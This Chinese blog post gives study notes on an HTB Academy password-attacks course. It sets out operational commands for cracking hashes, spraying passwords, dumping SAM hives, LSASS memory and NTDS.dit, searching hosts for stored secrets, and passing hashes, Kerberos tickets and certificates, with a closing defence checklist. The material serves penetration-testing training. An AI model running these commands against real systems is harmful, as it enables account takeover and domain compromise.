空想网安の乌托邦
首页小说读书项目归档照片墙音乐说说杂谈关于
封面

HTB Academy:密码攻击

写作时间:2026-09-20 21:55:14
# 网安
# HTB Academy

模块:Password Attacks(26 小节)
定位:在已授权的实验环境中,识别、获取、破解和复用凭据。本文按“原理 → 离线破解 → 远程服务 → Windows/Linux 凭据 → 票据与证书 → 防护”的顺序重新整理,不是网页逐句翻译。

0. 学习路线与实验边界

本章的核心不是“记住一串命令”,而是建立一条可复用的判断链:

  1. 判断凭据来自哪里:文件、注册表、进程内存、目录数据库、网络流量或共享目录。
  2. 判断材料类型:明文密码、密码哈希、Kerberos 票据、证书/私钥或密码库。
  3. 决定攻击方式:离线破解、在线猜测,或在无法破解时直接传递哈希/票据/证书。
  4. 根据目标策略构造字典与规则,而不是无差别暴力破解。
  5. 验证凭据的权限范围和复用范围,并记录证据与风险。

课程建议的基础能力:Linux 命令行、Windows 基础和 Bash 脚本。所有口令喷洒、远程登录与凭据导出操作都只能用于明确授权的靶场或测试范围。


1. Introduction:身份验证与密码风险

1.1 四类身份验证因素

  • 所知:密码、PIN、口令。
  • 所有:智能卡、手机、可信设备。
  • 所是:指纹、面部、虹膜、声音等生物特征。
  • 所在:地理位置、IP 地址等环境因素。

身份验证回答“你是谁”,授权回答“验证身份后你能做什么”。密码仍是最常见的身份验证手段,但弱口令、重复使用和泄露后不更换,使一次凭据泄露可能扩散到多个平台。

1.2 本章关注点

  • 密码在操作系统和应用中的存储方式。
  • 如何取得可供分析的凭据材料。
  • 如何选择 John the Ripper、Hashcat 或协议工具。
  • 无法恢复明文时,如何理解哈希、票据和证书的直接复用。

2. Introduction to Password Cracking:密码破解基础

2.1 编码、加密与哈希

类型 目的 是否可逆 典型判断 编码 表示/传输数据 是 不需要密钥,如 Base64 加密 保密 是 需要正确密钥或口令 哈希 完整性与单向验证 通常否 对候选明文计算摘要并比较

密码破解并不是“解密哈希”,而是不断生成候选密码、按相同算法计算后与目标摘要比较。成功率由口令质量、字典针对性、哈希算法成本和硬件能力共同决定。

2.2 在线与离线攻击

  • 在线攻击:向真实服务提交用户名/密码;受限于网络、锁定策略和告警系统。
  • 离线攻击:已获得哈希或加密文件后本地尝试;速度快、不会触发目标登录锁定,但前提是取得材料。

优先策略:先查默认凭据和已泄露口令,再做小规模、高相关性的猜测,最后才考虑大字典或掩码。


3. Introduction to John the Ripper

3.1 使用场景与前置条件

John 适合自动识别常见哈希,以及破解经 ​*2john​ 转换的压缩包、SSH 私钥和文档。首次使用前确认工具可执行并准备字典:

john --help
ls /usr/share/wordlists/

基本流程:准备哈希文件 → 指定格式(必要时)→ 运行字典/规则 → 查看结果。

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --format=<FORMAT> --wordlist=<WORDLIST> hash.txt
john --show hash.txt

3.2 常用模式

# 单词列表攻击
john --wordlist=wordlist.txt hashes.txt

# 使用 John 规则扩展候选词
john --wordlist=wordlist.txt --rules hashes.txt

# 增量模式(候选空间可能很大)
john --incremental hashes.txt

注意:格式识别不确定时先查看 John 的提示;同一字符串可能匹配多种哈希外观,格式选错会导致速度或结果异常。


4. Introduction to Hashcat

4.1 使用场景与首次检查

Hashcat 适合 GPU/CPU 高性能离线破解。使用前确认:

  • 已取得合法的哈希材料;
  • 已识别哈希模式编号;
  • 字典、规则或掩码与密码策略相符;
  • 驱动与计算设备能被 Hashcat 识别。
hashcat --version
hashcat -I
hashcat --help | less

通用语法:

hashcat -m <HASH_MODE> -a <ATTACK_MODE> <HASH_FILE> <CANDIDATES>

4.2 课程中的核心攻击方式

# 字典攻击(-a 0)
hashcat -m <MODE> -a 0 hashes.txt wordlist.txt

# 字典 + 规则
hashcat -m <MODE> -a 0 hashes.txt wordlist.txt -r rules.rule

# 掩码攻击(-a 3)
hashcat -m <MODE> -a 3 hashes.txt '?u?l?l?l?l?d?d?d'

# 显示已破解结果
hashcat -m <MODE> hashes.txt --show

内置字符集:​?l​ 小写、​?u​ 大写、​?d​ 数字、​?s​ 特殊字符、​?a​ 全部常用字符。不要在不了解策略时直接使用超大 ​?a​ 空间。


5. Writing Custom Wordlists and Rules

高质量字典来自目标信息,而不是盲目扩大文件:组织名、产品名、地点、季节、年份、部门、用户名模式和已知密码结构都可组合成基础词。

5.1 使用 CeWL 构造网站相关词表

cewl https://<TARGET> -d 4 -m 6 --lowercase -w custom.txt
sort -u custom.txt -o custom.txt
  • ​-d​:爬取深度。
  • ​-m​:最短单词长度。
  • ​-w​:输出文件。

5.2 Hashcat 规则

规则用于模拟用户常见变形,例如首字母大写、末尾追加年份或特殊字符。

hashcat --force wordlist.txt -r custom.rule --stdout > mutated.txt

示意规则:

c
$1 $9 $9 $0
$!

先用 ​--stdout​ 检查候选是否符合预期,再投入破解,可避免规则爆炸。


6. Cracking Protected Files

受保护文件通常需要先转换成 John/Hashcat 可识别的中间哈希。

6.1 SSH 私钥

ssh2john.py id_rsa > ssh.hash
john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash
john --show ssh.hash

恢复口令后,使用私钥前通常还需设置严格权限:

chmod 600 id_rsa
ssh -i id_rsa <USER>@<TARGET>

6.2 Office 与 PDF

office2john.py protected.docx > office.hash
john --wordlist=/usr/share/wordlists/rockyou.txt office.hash

pdf2john.py protected.pdf > pdf.hash
john --wordlist=/usr/share/wordlists/rockyou.txt pdf.hash

关键点:​*2john​ 工具提取的是可供离线验证的材料,并不会直接输出明文密码。


7. Cracking Protected Archives

7.1 ZIP、RAR 与 7-Zip

zip2john protected.zip > zip.hash
rar2john protected.rar > rar.hash
7z2john.pl protected.7z > 7z.hash

john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash
john --wordlist=/usr/share/wordlists/rockyou.txt rar.hash
john --wordlist=/usr/share/wordlists/rockyou.txt 7z.hash

破解后再用相应解压工具验证。多层归档要逐层判断文件类型:

file <FILE>
7z l <ARCHIVE>

不要只依据扩展名;实验中可能使用改名或嵌套文件。


8. Network Services

8.1 前置条件

  • 已确认服务、端口和允许的认证方式。
  • 拥有用户列表、密码列表或单个已知字段。
  • 已理解账户锁定和速率限制;优先低速、小范围验证。

Hydra 的基本结构:

hydra -L users.txt -P passwords.txt <PROTOCOL>://<TARGET>
hydra -l <USER> -P passwords.txt ssh://<TARGET>
hydra -L users.txt -p '<PASSWORD>' <PROTOCOL>://<TARGET>

常见协议包括 SSH、FTP、RDP、SMB 和 HTTP 表单,但模块强调先确认服务语法;Web 表单还需正确指定请求路径、字段和失败标志。

结果判断:成功记录代表服务接受了凭据,仍需单独登录验证权限,不能把“认证成功”等同于管理员权限。


9. Spraying, Stuffing, and Defaults

9.1 三种策略

  • Password spraying:少量常见密码依次尝试大量用户,降低单账户快速锁定概率。
  • Credential stuffing:把其他来源已泄露的用户名/密码组合用于目标服务。
  • Default credentials:检查设备、应用或服务的默认账户。

喷洒的关键是先获取密码策略,尤其是锁定阈值与观察窗口。示例:

# 单个密码对应多个用户
hydra -L users.txt -p 'Welcome1!' ssh://<TARGET>

# NetExec/CME 风格的 SMB 验证
netexec smb <TARGET> -u users.txt -p 'Welcome1!' --continue-on-success

不要对同一账户快速遍历长密码表;那是暴力破解,不是口令喷洒。


10. Windows Authentication Process

Windows 本地身份验证的关键组件包括:

  • SAM:保存本地账户的密码哈希。
  • SYSTEM:包含解密 SAM 中秘密所需的系统材料。
  • SECURITY:可包含 LSA Secrets、缓存域凭据等。
  • LSASS:处理登录会话和认证包,内存中可能存在哈希、票据或可恢复凭据。
  • AD DS / NTDS.dit:域账户数据库。

理解这一流程后,工具选择会更清楚:磁盘/注册表材料面向 SAM、SYSTEM、SECURITY;活动会话材料面向 LSASS;域控制器材料面向 NTDS.dit。


11. Attacking SAM, SYSTEM, and SECURITY

11.1 前置权限

通常需要本地管理员或等效高权限才能保存注册表配置单元。

reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save

将文件安全传回分析机后:

impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

输出可能包含本地 NTLM 哈希、缓存域凭据和 LSA Secrets。NTLM 形态通常为:

username:RID:LM_HASH:NT_HASH:::

LM 字段常为固定空值;实际关注 NT 哈希及账户身份。


12. Attacking LSASS

12.1 取得转储

需要足够权限访问 LSASS。课程思路是先生成进程转储,再离线分析,以减少直接在目标上执行复杂工具的时间。

tasklist /svc
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\lsass.dmp full

12.2 使用 Pypykatz 分析

pypykatz lsa minidump lsass.dmp

重点查看:登录会话、用户名/域、NT 哈希、Kerberos 密钥和可能存在的明文材料。现代 Windows 的安全设置可能使明文密码不可见,这并不意味着转储没有价值。


13. Attacking Windows Credential Manager

Credential Manager 使用 Windows Vault 保存 Web 或 Windows 凭据;​cmdkey​ 可列出当前用户可见的已保存目标:

cmdkey /list

已保存凭据可能允许在不显示密码的情况下启动目标进程:

runas /savecred /user:<DOMAIN\USER> cmd.exe

也可使用支持 Vault/DPAPI 提取的工具分析凭据。关键限制是用户上下文与 DPAPI 保护:看见条目不等于一定能取得明文,但仍可能被直接用于认证。


14. Attacking Active Directory and NTDS.dit

NTDS.dit 保存域对象与域账户哈希。常见思路有两类:

14.1 从卷影副本取得数据库

vssadmin CREATE SHADOW /For=C:

随后复制 NTDS.dit,并同时取得 SYSTEM 配置单元;缺少 SYSTEM 文件通常无法正确解密数据库秘密。

14.2 使用 Impacket 远程导出

impacket-secretsdump -just-dc-ntlm <DOMAIN>/<USER>:'<PASSWORD>'@<DC_IP>

需要具备相应目录复制权限。输出中的域 NTLM 哈希既可尝试离线破解,也可能用于后续 Pass-the-Hash。


15. Credential Hunting in Windows

搜索重点:配置文件、脚本、无人值守安装文件、PowerShell 历史、浏览器/应用数据和文件名中的凭据线索。

findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
where /R C:\ *.config
where /R C:\ *pass*.txt

PowerShell:

Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue |
  Select-String -Pattern 'password|passwd|pwd|credential'

(Get-PSReadLineOption).HistorySavePath

先从当前用户目录、应用目录和管理员脚本目录开始,避免一开始全盘搜索产生大量噪声。


16. Linux Authentication Process

关键文件:

  • ​/etc/passwd​:账户元数据,现代系统通常不存放实际密码哈希。
  • ​/etc/shadow​:密码哈希与有效期,仅特权用户可读。
  • ​/etc/group​、​/etc/gshadow​:组信息及受保护组数据。
  • ​/etc/security/opasswd​:部分策略环境中的历史密码材料。

Shadow 字段通常包含算法标识、盐和摘要。离线破解前可组合 passwd 与 shadow:

unshadow passwd.copy shadow.copy > unshadowed.hashes
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.hashes

17. Credential Hunting in Linux

重点位置包括 shell 历史、环境变量、配置文件、SSH 目录、定时任务、数据库客户端配置和备份。

history
env
find / -type f \( -name '*.conf' -o -name '*.config' -o -name '*.xml' \) 2>/dev/null
grep -RniE 'pass(word)?|secret|token|credential' /etc /opt /var/www 2>/dev/null
find /home -type f \( -name 'id_rsa' -o -name 'known_hosts' -o -name '.bash_history' \) 2>/dev/null

还应检查挂载点、备份文件和脚本中的连接字符串。发现私钥时先检查是否加密,再决定直接使用或通过 ​ssh2john.py​ 破解口令。


18. Credential Hunting in Network Traffic

前置条件是合法取得 PCAP 或对授权接口进行抓包。先做协议统计,再定位可能明文传输认证信息的协议。

tshark -r capture.pcap -q -z io,phs
tshark -r capture.pcap -Y 'ftp || http || smtp || pop || imap'
tshark -r capture.pcap -Y 'ftp.request.command == USER || ftp.request.command == PASS'

Wireshark 中可使用显示过滤器和 Follow TCP Stream 重建会话。HTTPS、SSH 等加密流量通常不能仅凭抓包直接读取凭据;重点是识别明文协议、错误配置和可导出的认证材料。


19. Credential Hunting in Network Shares

网络共享常存放脚本、配置、部署包、备份和用户文档。流程应是先枚举可访问共享,再按文件名/内容筛选。

smbclient -L //<TARGET> -U '<DOMAIN>/<USER>%<PASSWORD>'
smbclient //<TARGET>/<SHARE> -U '<DOMAIN>/<USER>%<PASSWORD>'

netexec smb <TARGET> -u <USER> -p '<PASSWORD>' --shares

重点检索:​password​、​cred​、​backup​、​unattend​、​web.config​、​.kdbx​、​.ps1​、​.bat​。下载和分析只应针对测试范围内的文件。


20. Pass the Hash (PtH)

PtH 使用 NTLM 哈希完成支持 NTLM 的认证,而不需要先恢复明文密码。前提是:

  • 已取得正确用户的 NT 哈希;
  • 目标允许 NTLM,且账户具备相应远程权限;
  • 网络路径、端口与管理服务可达。
impacket-psexec -hashes <LM_HASH>:<NT_HASH> <DOMAIN>/<USER>@<TARGET>
impacket-wmiexec -hashes <LM_HASH>:<NT_HASH> <DOMAIN>/<USER>@<TARGET>
netexec smb <TARGET> -u <USER> -H <NT_HASH>
xfreerdp /v:<TARGET> /u:<USER> /pth:<NT_HASH>

哈希可用不代表所有服务都接受 PtH;Kerberos-only、禁用 NTLM 或缺乏远程管理权限都会导致失败。


21. Pass the Ticket (PtT) from Windows

PtT 复用 Kerberos 票据。常见材料为 ​.kirbi​,或从活动会话提取的 TGT/TGS。

典型流程:列出票据 → 导出 → 注入目标会话 → 访问对应 SPN 的服务。

klist

使用 Rubeus 的课程式工作流:

Rubeus.exe dump
Rubeus.exe ptt /ticket:<TICKET.kirbi>
klist

票据有有效期、域、用户和服务范围;注入成功后仍需用 ​klist​ 和实际资源访问验证。


22. Pass the Ticket (PtT) from Linux

Linux 常使用 MIT Kerberos 缓存(​ccache​)。先寻找环境变量或缓存文件:

env | grep -i KRB5
find /tmp -name 'krb5cc_*' -ls 2>/dev/null
klist

指定缓存后让支持 Kerberos 的工具使用票据:

export KRB5CCNAME=/path/to/ccache
klist
impacket-psexec -k -no-pass <DOMAIN>/<USER>@<HOST_FQDN>

通常应使用能与票据/SPN 匹配的主机名,并确保 DNS 与时间同步正常;Kerberos 对名称和时钟偏差敏感。


23. Pass the Certificate

证书身份验证把私钥作为关键认证材料。若获得包含私钥的 PFX/P12,可用其申请或完成域认证,而不必知道用户密码。

前置条件

  • 证书包含可用私钥,且用途允许客户端认证;
  • 证书未过期/吊销;
  • 目标 PKI/域支持相应认证流程;
  • 掌握 PFX 保护口令(若存在)。

课程中常见工具链围绕 Certipy:

certipy auth -pfx <CERTIFICATE.pfx> -dc-ip <DC_IP>

结果可能得到 Kerberos 缓存或 NT 哈希。之后应按得到的材料选择 PtT 或 PtH,而不是继续无意义地破解证书本身。


24. Password Policies

在任何在线猜测前先确认:最短长度、复杂度、历史、最长/最短使用期限、锁定阈值、锁定时长和重置计数窗口。

Windows/域环境示例:

net accounts
net accounts /domain
netexec smb <DC> -u <USER> -p '<PASSWORD>' --pass-pol

Linux 关注 PAM、​/etc/login.defs​、​/etc/security/pwquality.conf​ 以及 shadow 中的有效期字段。

策略分析的用途不是单纯“绕过复杂度”,而是计算安全的喷洒节奏、推断常见用户变形,并评估策略是否真正降低弱口令风险。


25. Password Managers

密码管理器降低重复使用,但主密码、数据库文件和已解锁会话会形成高价值目标。评估时关注:

  • 数据库文件位置与备份副本;
  • 主密码强度;
  • 是否启用额外密钥/密钥文件;
  • 浏览器扩展或桌面客户端是否处于解锁状态;
  • 剪贴板、导出文件和自动填充暴露。

KeePass 数据库常见为 ​.kdbx​,可转换后离线测试:

keepass2john database.kdbx > keepass.hash
john --wordlist=/usr/share/wordlists/rockyou.txt keepass.hash

得到主密码后仍应在副本上验证,避免破坏原始证据。


26. Skills Assessment:综合方法

26.1 推荐执行顺序

  1. 枚举主机、服务、共享与当前权限。
  2. 搜索明文配置、历史记录、私钥、归档和密码库。
  3. Windows 侧检查 SAM/SYSTEM/SECURITY、LSASS、Credential Manager 与域材料。
  4. Linux 侧检查 passwd/shadow、配置、历史、SSH 与备份。
  5. 对网络流量和共享中的文件做离线分析。
  6. 识别哈希/加密格式,制作目标相关字典并添加规则。
  7. 对无法破解的 NTLM、Kerberos 票据或证书,判断能否直接复用。
  8. 验证访问范围,记录来源、命令、结果和影响。

26.2 快速决策表

已取得材料 首选动作 常用工具 常见哈希 识别模式后字典/规则破解 John、Hashcat 加密 SSH 私钥 转换后离线破解 ssh2john、John Office/PDF/压缩包 ​*2john​ 后破解 John NTLM 哈希 先评估 PtH,再决定破解 Impacket、NetExec、Hashcat Kerberos 票据 检查有效期与 SPN 后 PtT Rubeus、klist、Impacket PFX/P12 私钥证书 尝试证书认证 Certipy LSASS 转储 离线解析会话秘密 Pypykatz SAM+SYSTEM+SECURITY 解密本地秘密 secretsdump NTDS.dit+SYSTEM 导出域哈希 secretsdump PCAP 协议筛选与流重组 Wireshark、TShark


附录 A:常见失败原因

  • 哈希模式选错:外观相似不代表算法相同。
  • 只复制 SAM/NTDS.dit,遗漏 SYSTEM 配置单元。
  • 字典与目标策略无关,候选规模巨大但命中率低。
  • 在线测试未先确认锁定策略,导致账户被锁。
  • Kerberos 使用 IP 而非匹配 SPN 的主机名,或时钟偏差过大。
  • PtH 使用了错误的 LM/NT 字段,或目标禁用 NTLM。
  • 票据已过期、服务范围不符,或注入到了错误会话。
  • PFX 不含私钥、证书用途不符,或仍受未知口令保护。
  • 看到 Credential Manager 条目,却忽略 DPAPI 和用户上下文限制。

附录 B:最小化证据记录模板

来源主机/文件:
取得权限与用户上下文:
材料类型:明文 / 哈希 / 票据 / 证书 / 加密文件
识别依据:
使用工具与完整命令:
结果:
验证方式:
可访问范围:
锁定/告警/稳定性风险:
修复建议:

附录 C:防护要点

  • 强制唯一且足够长的密码,推广密码管理器和 MFA。
  • 禁用或限制 NTLM,保护特权账户并减少可复用本地管理员密码。
  • 启用 LSASS 保护、Credential Guard,并限制调试/转储权限。
  • 保护域控制器备份、注册表配置单元、密钥和证书私钥。
  • 移除脚本、配置、共享和流量中的明文凭据。
  • 监控异常登录、口令喷洒、注册表保存、LSASS 访问和目录复制行为。
  • 将凭据轮换与泄露响应纳入日常流程,而不是只依赖复杂度规则。

复习主线:先找材料,后识别类型;能离线就避免在线;能小范围验证就不盲目爆破;无法破解时再判断能否传递哈希、票据或证书。

‍

avatar

Zybaxy918039

书本,学术,网安之间反复横跳的业余爱好者,目前在自学计算机网络和AI相关知识

RECOMMENDED

HTB Academy:使用 Nmap 进行网络枚举

2026-09-19 22:17:09

HTB Academy:信息收集-网络版(Web Reconnaissance)学习笔记

2026-09-19 22:22:34

HTB Academy:Footprinting(足迹收集)

2026-09-20 12:23:20

Table of Contents